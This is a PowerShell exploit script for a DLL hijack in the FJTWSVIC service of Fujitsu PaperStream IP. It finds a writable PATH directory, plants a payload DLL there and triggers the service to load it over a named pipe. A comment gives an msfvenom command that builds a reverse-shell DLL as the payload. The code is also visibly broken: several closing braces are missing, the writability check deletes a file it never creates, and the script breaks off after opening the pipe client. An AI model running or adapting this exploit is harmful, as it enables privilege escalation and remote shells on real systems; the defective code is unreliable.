# A DLL hijack vulnerability exists in the FJTWSVIC service running as part of
# the Fujitsu PaperStream IP (TWAIN) software package. This exploit searches
# for a writable location, copies the specified DLL to that location and then
# triggers the DLL load by sending a message to FJTWSVIC over the FjtwMkic_Fjicube_32
# named pipe.

$ErrorActionPreference = "Stop"

# Example payload generated as follows
# msfvenom -p windows/x64/shell_reverse_tcp -f dll -o shell.dll LHOST=eth0 LPORT=4444 
$PayloadFile = "C:\Windows\Temp\UninOldIS.dll"

if ((Test-Path $PayloadFile) -eq $false) {
    Write-Host "$PayloadFile not found, did you forget to upload it?"
    Exit 1

# Find Writable Location
$WritableDirectory = $null
$Path = (Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" -Name "PATH").path
$Path -Split ";" | % {
    try {
        Remove-Item "$_\x.txt"
        $WritableDirectory = $_
    } catch {}

if ($WritableDirectory -eq $null) {
    Write-Host "No writable directories in PATH, FJTWSVIC is not exploitable"
    Exit 1

Write-Host "Writable location found, copying payload to $WritableDirectory"
Copy-Item "$PayloadFile" "$WritableDirectory\UninOldIS.dll"

Write-Host "Payload copied, triggering..."
$client = New-Object System.IO.Pipes.NamedPipeClientStream(".", "FjtwMkic_Fjicube_32", [System.IO.Pipes.PipeDirection]::InOut, [System.IO.Pipes.PipeOptions]::None, [System.Security.Principal.TokenImpersonationLevel]::Impersonation)
$reader = $null
